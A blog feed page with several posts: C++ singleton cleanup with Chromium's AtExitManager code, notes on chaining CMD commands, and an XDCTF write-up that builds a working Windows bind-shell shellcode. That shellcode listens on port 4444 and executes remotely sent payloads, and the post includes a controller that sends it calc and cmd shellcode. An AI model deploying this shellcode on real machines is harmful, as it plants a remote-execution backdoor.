Quantcast
Channel: 程序人生 »代码疯子
Viewing all 59 articles
Browse latest View live

C++单例模式Singleton内存回收

$
0
0

单例模式(Singleton)也称为单件模式,其意图是保证一个类仅有一个实例,并提供一个访问它的全局访问点,该实例被所有程序模块共享。有很多地方需要这样的功能模块,如系统的日志输出,GUI应用必须是单鼠标,操作系统只会弹出一个任务管理器等。

单例模式有许多种实现方法,在C++中,甚至可以直接用一个全局变量做到这一点,但这样的代码显的很不优雅。 使用全局对象能够保证方便地访问实例,但是不能保证只声明一个对象——也就是说除了一个全局实例外,仍然能创建相同类的本地实例。

GoF的《设计模式》一书中给出了一种很不错的实现,定义一个单例类,使用类的私有静态指针变量指向类的唯一实例,并用一个公有的静态方法获取该实例。

单例模式通过类本身来管理其唯一实例,这种特性提供了解决问题的方法。唯一的实例是类的一个普通对象,但设计这个类时,让它只能创建一个实例并提供 对此实例的全局访问。唯一实例类Singleton在静态成员函数中隐藏创建实例的操作。习惯上把这个成员函数叫做Instance(),它的返回值是唯 一实例的指针。一个单例模式的源码可能如下:

// Singleton.h
#ifndef _CSINGLETON_H_
#define _CSINGLETON_H_
 
class CSingleton
{
private:
	CSingleton() {};
	static CSingleton* _instance;
 
public:
	static CSingleton* GetInstance();
 
// ... other members or functions
public:
	void DoSomething();
};
 
#endif // _CSINGLETON_H_
 
// Singleton.cpp
#include "Singleton.h"
#include <windows.h>
#include <stdio.h>
 
CSingleton* CSingleton::_instance = NULL;
 
CSingleton* CSingleton::GetInstance()
{
	if (_instance == NULL)
	{
		_instance = new CSingleton();
	}
 
	return _instance;
}
 
void CSingleton::DoSomething()
{
	printf("void CSingleton::DoSomething() called.\n");
}
 
// 调用单例模式Singleton类
CSingleton::GetInstance()->DoSomething();

这里会有一个问题,_instance实例是new出来的,它什么时候会被delete掉?CSingleton的析构函数什么时候调用?我们可以模仿《MSVC CRT运行库启动代码分析》中提到的利用atexit注册一个回收函数,这样程序退出时自动delete,不过多少有点不完美,万一多注册了几次,那程序就崩溃了!

我们可以在Singleton类中定义一个内部类Deleter,如下:

class CSingleton
{
private:
	CSingleton() {};
	static CSingleton* _instance;
 
public:
	static CSingleton* GetInstance();
 
// ... other members or functions
public:
	void DoSomething();
 
private:
	class Deleter
	{
	public:
		~Deleter()
		{
			if (CSingleton::_instance != NULL)
			{
				delete CSingleton::_instance;
			}
		}
	};
	// 定义一个静态的Deleter实例
	static Deleter deleter;
};

Singleton拥有一个静态的Deleter成员,这个成员在离开其作用域时会自动调用析构函数,而Deleter的析构函数就是负责对Singleton实例进行删除。

还有另一个好一点的解决方案,就是使用静态的成员变量实例,但是要处理复制的问题:

#define DISALLOW_COPY(TypeName) \
	TypeName(const TypeName&)
 
#define DISALLOW_ASSIGN(TypeName) \
	void operator=(const TypeName&)
 
#define DISALLOW_COPY_AND_ASSIGN(TypeName) \
	TypeName(const TypeName&);               \
	void operator=(const TypeName&)
 
class CSingleton
{
public:
	static CSingleton &GetInstance()
	{
		static CSingleton instance;
		return instance;
	}
	void DoSomething()
	{
		printf("void CSingleton::DoSomething() called.\n");
	}
 
private:
	CSingleton() {};
	DISALLOW_COPY_AND_ASSIGN(CSingleton);
};
 
// 单例模式类使用
CSingleton::GetInstance().DoSomething();	// OK
CSingleton singleton = CSingleton::GetInstance(); // ERROR 不能通过编译

这里对复制构造函数和赋值操作符进行了处理,可以保证只存在一个实例,而且不用考虑内存回收的问题。

在Chrome中,定义了一个AtExitManager类,用于负责类的内存回收问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
// at_exit.h
// Copyright (c) 2011 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
 
#ifndef BASE_AT_EXIT_H_
#define BASE_AT_EXIT_H_
 
#include <stack>
 
#include "base/base_export.h"
#include "base/basictypes.h"
#include "base/callback.h"
#include "base/synchronization/lock.h"
 
namespace base {
 
// This class provides a facility similar to the CRT atexit(), except that
// we control when the callbacks are executed. Under Windows for a DLL they
// happen at a really bad time and under the loader lock. This facility is
// mostly used by base::Singleton.
//
// The usage is simple. Early in the main() or WinMain() scope create an
// AtExitManager object on the stack:
// int main(...) {
//    base::AtExitManager exit_manager;
//
// }
// When the exit_manager object goes out of scope, all the registered
// callbacks and singleton destructors will be called.
 
class BASE_EXPORT AtExitManager {
 public:
  typedef void (*AtExitCallbackType)(void*);
 
  AtExitManager();
 
  // The dtor calls all the registered callbacks. Do not try to register more
  // callbacks after this point.
  ~AtExitManager();
 
  // Registers the specified function to be called at exit. The prototype of
  // the callback function is void func(void*).
  static void RegisterCallback(AtExitCallbackType func, void* param);
 
  // Registers the specified task to be called at exit.
  static void RegisterTask(base::Closure task);
 
  // Calls the functions registered with RegisterCallback in LIFO order. It
  // is possible to register new callbacks after calling this function.
  static void ProcessCallbacksNow();
 
 protected:
  // This constructor will allow this instance of AtExitManager to be created
  // even if one already exists.  This should only be used for testing!
  // AtExitManagers are kept on a global stack, and it will be removed during
  // destruction.  This allows you to shadow another AtExitManager.
  explicit AtExitManager(bool shadow);
 
 private:
  base::Lock lock_;
  std::stack<base::Closure> stack_;
  AtExitManager* next_manager_;  // Stack of managers to allow shadowing.
 
  DISALLOW_COPY_AND_ASSIGN(AtExitManager);
};
 
#if defined(UNIT_TEST)
class ShadowingAtExitManager : public AtExitManager {
 public:
  ShadowingAtExitManager() : AtExitManager(true) {}
};
#endif  // defined(UNIT_TEST)
 
}  // namespace base
 
#endif  // BASE_AT_EXIT_H_
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
// at_exit.cc
// Copyright (c) 2011 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
 
#include "base/at_exit.h"
 
#include <stddef.h>
#include <ostream>
 
#include "base/bind.h"
#include "base/callback.h"
#include "base/logging.h"
 
namespace base {
 
// Keep a stack of registered AtExitManagers.  We always operate on the most
// recent, and we should never have more than one outside of testing (for a
// statically linked version of this library).  Testing may use the shadow
// version of the constructor, and if we are building a dynamic library we may
// end up with multiple AtExitManagers on the same process.  We don't protect
// this for thread-safe access, since it will only be modified in testing.
static AtExitManager* g_top_manager = NULL;
 
AtExitManager::AtExitManager() : next_manager_(g_top_manager) {
// If multiple modules instantiate AtExitManagers they'll end up living in this
// module... they have to coexist.
#if !defined(COMPONENT_BUILD)
  DCHECK(!g_top_manager);
#endif
  g_top_manager = this;
}
 
AtExitManager::~AtExitManager() {
  if (!g_top_manager) {
    NOTREACHED() << "Tried to ~AtExitManager without an AtExitManager";
    return;
  }
  DCHECK_EQ(this, g_top_manager);
 
  ProcessCallbacksNow();
  g_top_manager = next_manager_;
}
 
// static
void AtExitManager::RegisterCallback(AtExitCallbackType func, void* param) {
  DCHECK(func);
  RegisterTask(base::Bind(func, param));
}
 
// static
void AtExitManager::RegisterTask(base::Closure task) {
  if (!g_top_manager) {
    NOTREACHED() << "Tried to RegisterCallback without an AtExitManager";
    return;
  }
 
  AutoLock lock(g_top_manager->lock_);
  g_top_manager->stack_.push(task);
}
 
// static
void AtExitManager::ProcessCallbacksNow() {
  if (!g_top_manager) {
    NOTREACHED() << "Tried to ProcessCallbacksNow without an AtExitManager";
    return;
  }
 
  AutoLock lock(g_top_manager->lock_);
 
  while (!g_top_manager->stack_.empty()) {
    base::Closure task = g_top_manager->stack_.top();
    task.Run();
    g_top_manager->stack_.pop();
  }
}
 
AtExitManager::AtExitManager(bool shadow) : next_manager_(g_top_manager) {
  DCHECK(shadow || !g_top_manager);
  g_top_manager = this;
}
 
}  // namespace base

AtExitManager模仿的就是atexit函数的功能,使用的时候,可以把WinMain函数中定义一个AtExitManager实例:

base::AtExitManager exit_manager;

之后,在任何地方,只需要调用RegisterCallback函数注册回调函数即可。可以定义多个AtExitManager实例,其内部会有一个链表维护这些实例。
单例模式类图
参考:
C++单例实现及回收


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> C++单例模式Singleton内存回收
作者:代码疯子


[XDCTF]Shellcode DIY

$
0
0

国庆参加了XDCTF,被虐的相当惨,不过时间安排确实不怎么好,时间安排在前六天,先提交且通过的得分高,越往后交分数越低,偏偏还要搞在1号0:00开始,相当的操蛋的安排。另外就是这是组队赛,大家很难把假期全部贡献在比赛上,以至于很多题目都没时间做了。不过玩玩就好,参加一下总是涨了点知识,写点笔记。(这次比赛许多大牛都出来厮杀了,场面相当激烈)

溢出部分有一个编写Shellcode的题目,要求ShellCode运行后能够监听4444端口,并且能够执行从控制端传输过来的其他ShellCode。现成的当然是没有的,全部自己写对于我等菜鸟来说那肯定不太可信吧,我的思路是找一个过来DIY一下。

首先,去Metasploit找一个框架过来吧:就拿一个tcp bind shell,端口设置为4444,将ShellCode导出为C语言的数组格式,然后稍微处理一下转成二进制文件(使用Notepad++去除其中的\x、引号以及换行符,然后转大写即可,然后使用C32Asm的特别粘贴功能,保存即可得到二进制文件),接着使用IDA分析一下这段ShellCode。

ShellCode的入口是这样的:

;=========================================================
; start
;=========================================================
start:
    cld
    call    kMainFun        ; 主要逻辑代码函数
;=========================================================
; 函数调用包装函数
; 传入参数为待调用函数的参数以及函数名HASH值
;=========================================================
;fnFunctionCaller proc
	assume fs:nothing
    pusha                   ; 保存所有寄存器
    mov     ebp, esp        ; 建立新栈帧
    xor     edx, edx        ; EDX寄存器清零操作
    mov     edx, fs:[edx+30h] ; PEB
    mov     edx, [edx+0Ch]  ; PEB_LDR_DATA
    mov     edx, [edx+14h]  ; InMemoryOrderModuleList
 
loc_15:
    mov     esi, [edx+28h]  ; BaseDllName(DLL名字)
    movzx   ecx, word ptr [edx+26h] ; (DllName长度+1)*2 即(UNICODE_STRING的长度字段)
    xor     edi, edi        ; EDI寄存器清零
 
    ; ==== 计算DLL名字HASH值 ====
loc_1E:
    xor     eax, eax        ; EAX寄存器清零
    lodsb                   ; 取DllName第一个字符
    cmp     al, 61h ; 'a'
    jl      short loc_27    ; 小于'a'时跳转
    sub     al, 20h ; ' '   ; 转大写字母
 
loc_27:
    ror     edi, 0Dh        ; 移位
    add     edi, eax        ; 累加
    loop    loc_1E          ; 循环计算DllName哈希值
 
    push    edx
    push    edi
    mov     edx, [edx+10h]  ; DllBase Dll基地址
    mov     eax, [edx+3Ch]  ; 开始解析PE文件格式
    add     eax, edx
    mov     eax, [eax+78h]  ; 数据目录表输出表结构
    test    eax, eax
    jz      short loc_89    ; 没有输出表, 跳转到返回
    add     eax, edx
    push    eax
    mov     ecx, [eax+18h]  ; 总的导出函数个数
    mov     ebx, [eax+20h]
    add     ebx, edx
 
loc_4A:
    jecxz   short loc_88
    dec     ecx
    mov     esi, [ebx+ecx*4] ; 函数名字
    add     esi, edx
    xor     edi, edi
 
    ; ==== 计算函数名字HASH值 ====
loc_54:
    xor     eax, eax
    lodsb
    ror     edi, 0Dh
    add     edi, eax
    cmp     al, ah
    jnz     short loc_54    ; 循环计算函数名HASH值
    add     edi, [ebp-8]    ; ==== Hash1(DllName) + Hash2(ApiName) ====
    cmp     edi, [ebp+24h]  ; 判断HASH值是否和传入的参数一致
    jnz     short loc_4A    ; 不相等继续寻找
    pop     eax
    mov     ebx, [eax+24h]
    add     ebx, edx
    mov     cx, [ebx+ecx*2]
    mov     ebx, [eax+1Ch]
    add     ebx, edx
    mov     eax, [ebx+ecx*4]
    add     eax, edx
    mov     [esp+28h-4], eax ; 保存函数的地址
    pop     ebx
    pop     ebx
    popa                    ; 对应pusha
    pop     ecx             ; 弹出上一个函数返回地址到ECX
    pop     edx             ; 弹出函数名HASH值参数
    push    ecx             ; 压入上一个函数的返回地址
    jmp     eax             ; 调用函数(刚好对应上一个函数传入的第参数)
 
loc_88:
    pop     eax
 
loc_89:
    pop     edi
    pop     edx
    mov     edx, [edx]
    jmp     short loc_15    ; 继续下一个DLL查找
;fnFunctionCaller endp
;=========================================================
    end start

一开始就是一条cld指令和一个call,先看一下call里面的部分代码:

;=========================================================
;kMainFun函数
;=========================================================
kMainFun proc
    pop     ebp         ; EBP = fnFunctionCaller
    push    '23'
    push    '_2sw'      ; ws2_32
    push    esp
    push    726774Ch    ; LoadLibrary的HASH值
    call    ebp         ; 调用LoadLibrary加载ws2_32.dll
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

看到call/pop是不是很熟悉的感觉?其实就是把fnFunctionCaller的地址弹给ebp,然后在压入函数参数和一个HASH值,接着call ebp。这里的fnFunctionCaller就像是一个Wrapper,fnFunctionCaller里面的代码逻辑为:通过PEB的InMemoryOrderModuleList链表遍历每一个DLL,根据DLL的名字(如Kernel32.dll)计算出一个HASH值A,然后遍历每个DLL的导出表,计算每个通过名字导出的函数的名字计算出另一个HASH值B,通过A+B=C计算出哈希值的和C,然后通过传入的hash参数进行对比,相等就获取这个函数的地址。接着通过合适的处理栈,使得之前传过来的参数刚刚设置为这个函数的额参数结构,返回地址则返回到call ebp的下一条指令所在的位置,然后就调用了函数了。

ShellCode Framework Analysis

ShellCode Framework Analysis

ShellCode主要的代码逻辑就位于kMainFun函数里面,我们保留其中有用的部分,把accept之后的代码删掉,现在需要添加自己的逻辑了:使用VirtualAlloc分配足够大小的带可执行属性的空间、接收来自控制端的ShellCode、判断接收是否正确、创建新线程执行ShellCode、等待线程执行完毕。这样不断的循环即可。

这里本来是先调用HeapAlloc,然后调用VirtualProtect来修改属性的,只是后来发现HeapAlloc被重定向到了RtlAllocateHeap,然后也就不知道为何就异常了,不过后来发现VirtualAlloc更加简单。

;=========================================================
;kMainFun函数
;=========================================================
kMainFun proc
    pop     ebp         ; EBP = fnFunctionCaller
    push    '23'
    push    '_2sw'      ; ws2_32
    push    esp
    push    726774Ch    ; LoadLibrary的HASH值
    call    ebp         ; 调用LoadLibrary加载ws2_32.dll
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    mov     eax, 190h
    sub     esp, eax    ; 分配栈空间
    push    esp
    push    eax
    push    6B8029h
    call    ebp         ; 调用WSAStartup 进行socket初始化
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    push    eax
    push    eax
    push    eax
    push    eax
    inc     eax
    push    eax
    inc     eax
    push    eax
    push    0E0DF0FEAh
    call    ebp         ; 调用WSASocketA创建一个socket
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    mov     edi, eax
    xor     ebx, ebx
    push    ebx
    push    5C110002h   ; 0002-AF_INET  5C11-4444端口
    mov     esi, esp
    push    10h
    push    esi
    push    edi
    push    6737DBC2h
    call    ebp         ; 调用bind函数在4444端口进行绑定
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ; 分配栈空间保留相关变量
    mov     ecx, 100h
loc_alloc_stack_mem:
    push    0h
    loop    loc_alloc_stack_mem
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    push    ebx
    push    edi
    push    0FF38E9B7h
    call    ebp         ; 调用listen开始监听
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
loc_wait_connect:
    push    ebx         ; 保存ebx
    push    edi         ; 保存edi
 
    push    ebx
    push    ebx
    push    edi
    push    0E13BEC74h
    call    ebp         ; 调用accept等待客户端的连接请求
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    mov [esp+50h], eax  ; [变量]保存客户端socket
 
loc_wait_shellcode:
    ; 分配堆空间
    push    40h         ; PAGE_EXECUTE_READWRITE
    push    1000h       ; MEM_COMMIT
    push    19000h      ; 100KB
    push    0h          ; lpAddress
    push    0E553A458h
    call    ebp         ; VirtualAlloc
    mov     [esp+54h], eax  ; [变量]保存hMem
    ; 接收ShellCode内容
    push    0           ; flags
    push    18FFFh      ; len
    push    [esp+54h+8h]; buf
    push    [esp+50h+0Ch]; socket
    push    5FC8D902h
    call    ebp         ; recv 接收shellcode内容
    ; 判断是否出错
    cmp     eax, 0FFFFFFFFh ; 返回-1表示出错了
    jz      loc_over
    cmp     eax, 0h
    jnz     loc_run_shellcode   ; 接收到了数据
    ; 没有接收到任何数据,视为出错了
    ; 先回收空间
    push    4000h       ; MEM_DECOMMIT
    push    19000h      ; 100KB
    push    [esp+54h+8h]; buf
    push    300F2F0Bh
    call    ebp         ; 调用VirtualFree
    jmp      loc_over
    ; 创建新线程
loc_run_shellcode:
    push    0h          ; lpThreadId = NULL
    push    0h          ; dwCreationFlags = 立即执行
    push    0h          ; lpParameter = NULL
    push    [esp+54h+0Ch]; lpStartAddress = buffer
    push    0h          ; dwStackSize = 0
    push    0h          ; lpThreadAttributes = NULL
    push    0160D6838h   
    call    ebp         ; 调用CreateThread执行ShellCode
    mov     [esp+58h], eax; [变量]保存hThread
    ; 等待线程结束
    push    0FFFFFFFFh  ; INFINITE
    push    [esp+58h+4h]; hThread
    push    601D8708h   
    call    ebp         ; WaitForSingleObject
    ; 回收空间
    push    4000h       ; MEM_DECOMMIT
    push    19000h      ; 100KB
    push    [esp+54h+8h]; buf
    push    300F2F0Bh
    call    ebp         ; 调用VirtualFree
    ; 等待下一个发送内容
    jmp     loc_wait_shellcode  ; 等待下一段ShellCode
 
loc_over:               ; 准备下一轮连接
    pop     edi         ; 恢复edi
    pop     ebx         ; 恢复ebx
    jmp     loc_wait_connect    ; 等待下一个连接
 
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    push    0
    push    6F721347h
    call    ebp         ; 调用ExitProcess退出进程
kMainFun endp

这里函数名字的HASH值需要自己计算(计算的汇编指令前面已经有了,抠出来就行,根据DLL名字以及API名字就能计算出HASH值),然后需要分配一定的栈空间用于保存变量,比如accept返回的socket句柄,在recv shellcode的时候就要用到,这些局部变量的引用要注意之前是否有参数压栈来调整与esp寄存器的距离。做的完美一点可以使用VirtualFree回收空间,这样的话一定要记得使用WaitForSingleObject等待线程结束。

写好汇编代码之后,用MASM32编译了一下代码,执行测试OK。这时候就需要使用16进制编辑器提取出二进制代码了。此时还剩下最后一步,就是调整部分字节,因为这里用到了函数,所以会提取出两段代码进行拼接,而编译器在编译的时候这两段代码之间是有距离的,所以最后要调整call指令的跳转距离。如果不会算的话可以先把ShellCode内嵌到C中编译,然后使用OD反汇编的时候进行汇编指令修改即可,最后把call kMainFun对应的机器码调整为\xE8\x89\x00\x00\x00。

最后使用内联汇编进行测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include <stdio.h>
#include <windows.h>
 
#pragma comment(linker, "/subsystem:windows")
 
unsigned char kshell[] =
"\xFC\xE8\x89\x00\x00\x00\x60\x8B\xEC\x33\xD2\x64"
"\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28"
"\x0F\xB7\x4A\x26\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
"\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0\x52\x57"
"\x8B\x52\x10\x8B\x42\x3C\x03\xC2\x8B\x40\x78\x85"
"\xC0\x74\x4A\x03\xC2\x50\x8B\x48\x18\x8B\x58\x20"
"\x03\xDA\xE3\x3C\x49\x8B\x34\x8B\x03\xF2\x33\xFF"
"\x33\xC0\xAC\xC1\xCF\x0D\x03\xF8\x38\xE0\x75\xF4"
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24"
"\x03\xDA\x66\x8B\x0C\x4B\x8B\x58\x1C\x03\xDA\x8B"
"\x04\x8B\x03\xC2\x89\x44\x24\x24\x5B\x5B\x61\x59"
"\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86"
"\x5D\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54"
"\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00"
"\x2B\xE0\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50"
"\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0"
"\xFF\xD5\x8B\xF8\x33\xDB\x53\x68\x02\x00\x11\x5C"
"\x8B\xF4\x6A\x10\x56\x57\x68\xC2\xDB\x37\x67\xFF"
"\xD5\xB9\x00\x01\x00\x00\x6A\x00\xE2\xFC\x53\x57"
"\x68\xB7\xE9\x38\xFF\xFF\xD5\x53\x57\x53\x53\x57"
"\x68\x74\xEC\x3B\xE1\xFF\xD5\x89\x44\x24\x50\x6A"
"\x40\x68\x00\x10\x00\x00\x68\x00\x90\x01\x00\x6A"
"\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x89\x44\x24\x54"
"\x6A\x00\x68\xFF\x8F\x01\x00\xFF\x74\x24\x5C\xFF"
"\x74\x24\x5C\x68\x02\xD9\xC8\x5F\xFF\xD5\x83\xF8"
"\xFF\x74\x5C\x83\xF8\x00\x75\x17\x68\x00\x40\x00"
"\x00\x68\x00\x90\x01\x00\xFF\x74\x24\x5C\x68\x0B"
"\x2F\x0F\x30\xFF\xD5\xEB\x40\x6A\x00\x6A\x00\x6A"
"\x00\xFF\x74\x24\x60\x6A\x00\x6A\x00\x68\x38\x68"
"\x0D\x16\xFF\xD5\x89\x44\x24\x58\x6A\xFF\xFF\x74"
"\x24\x5C\x68\x08\x87\x1D\x60\xFF\xD5\x68\x00\x40"
"\x00\x00\x68\x00\x90\x01\x00\xFF\x74\x24\x5C\x68"
"\x0B\x2F\x0F\x30\xFF\xD5\xE9\x70\xFF\xFF\xFF\x5F"
"\x5B\xE9\x59\xFF\xFF\xFF";
 
int WINAPI WinMain(
    HINSTANCE hInstance, 
    HINSTANCE hPrevInstance, 
    LPSTR lpCmdLine, 
    int nShowCmd )
{
    DWORD dwTemp = 0;
    VirtualProtect(
        kshell, 
        sizeof(kshell), 
        PAGE_EXECUTE_READWRITE, 
        &dwTemp);
 
    __asm
    {
        lea eax, kshell
        push eax
        ret
    }
 
    return 0;
}

现在就可以编写控制端进行测试啦,注意因为这里通过创建新线程执行ShellCode,而且会等待新线程结束,所以发送过去的ShellCode就不要弹出MessageBox了,否则就把被控端的执行逻辑给卡死了。还有就是在使用Metasploit生成测试Shellcode的时候,退出方式选择thread,千万不要选process,因为那样就把被控端给kill掉了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#pragma comment(lib, "ws2_32")
 
#pragma comment(linker, "/subsystem:console")
 
// 因为通过创建新线程执行Shellcode
// 所以Shellcode的退出方式最好是退出线程
// 以保证还可以继续接收和执行其他shellcode
unsigned char shellcode_calc[] = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00"
"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63"
"\x2e\x65\x78\x65\x00";
 
unsigned char shellcode_cmd[] = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00"
"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x6d\x64\x2e"
"\x65\x78\x65\x00";
 
int main(int argc, char **argv)
{
    WSADATA wsad;
    SOCKET sHost;
    SOCKADDR_IN servAddr;
    int retVal;
 
    if (WSAStartup(MAKEWORD(2, 2), &wsad) != 0)
    {
        printf("初始化套接字失败!\n");
        return -1;
    }
 
    sHost = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);    
    if(INVALID_SOCKET == sHost)
    {
        printf("创建套接字失败!\n");
        WSACleanup();
        return  -1;
    }
 
    char szip[64] = {0};
    printf("请输入被控端IP地址:");
    scanf("%s", szip);
    servAddr.sin_family = AF_INET;
    servAddr.sin_addr.s_addr = inet_addr(szip);
    servAddr.sin_port = htons(4444);
    int nServAddlen = sizeof(servAddr);
 
    retVal = connect(sHost, (LPSOCKADDR)&servAddr, sizeof(servAddr));    
    if(SOCKET_ERROR == retVal)
    {
        printf("连接服务器失败!\n");    
        closesocket(sHost);
        WSACleanup();
        return -1;
    }
 
    //向服务器发送数据
    printf("\n准备发送弹出计算器的Shellcode\n");
    retVal = send(sHost, (char *)shellcode_calc, sizeof(shellcode_calc), 0);
    if (SOCKET_ERROR == retVal)
    {
        printf("发送弹出计算器的Shellcode失败!\n");
        closesocket(sHost);
        WSACleanup();
        return -1;
    }
    printf("按Enter发送下一段Shellcode\n");
    system("pause");
 
    //向服务器发送数据
    printf("\n准备发送弹出CMD的Shellcode\n");
    retVal = send(sHost, (char *)shellcode_cmd, sizeof(shellcode_calc), 0);
    if (SOCKET_ERROR == retVal)
    {
        printf("发送弹出计算器的Shellcode失败!\n");
        closesocket(sHost);
        WSACleanup();
        return -1;
    }
 
    printf("测试完毕,准备退出!\n");
    system("pause");
 
    closesocket(sHost);
    WSACleanup();
 
    return 0;
}

最终效果截图:

XDCTF ShellCode

ShellCode控制端与被控端测试



本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> [XDCTF]Shellcode DIY
作者:代码疯子

CMD批处理执行多个命令

$
0
0

项目中需要通过cmd执行一串命令,这个命令中会执行多个程序,且要求顺序执行,最开始使用的是&&连接多个命令:
taskkill /f /pid 1234 && 命令2 && 命令3

发现taskkill执行之后就不执行了,目标进程确实被杀掉了,但就是不知道为何就不执行了。网上的解释是使用&&连接的命令,如果前面的执行失败,那么后面的也就不会执行了。当然我没办法弄清楚这里taskkill是否真的成功了,虽然效果确实达到了。

同样是来自己网上的解释:使用单个&符号连接,则不会因为前面的命令的执行结果而影响到后面的命令的执行,于是改用&,居然就可以了,命令全部执行力,至于taskkill,只要它能把进程杀掉就行了。

其他说法:||顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令。


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> CMD批处理执行多个命令
作者:代码疯子

5月1日前注册的GitHub账号可领取20元

$
0
0

领取条件

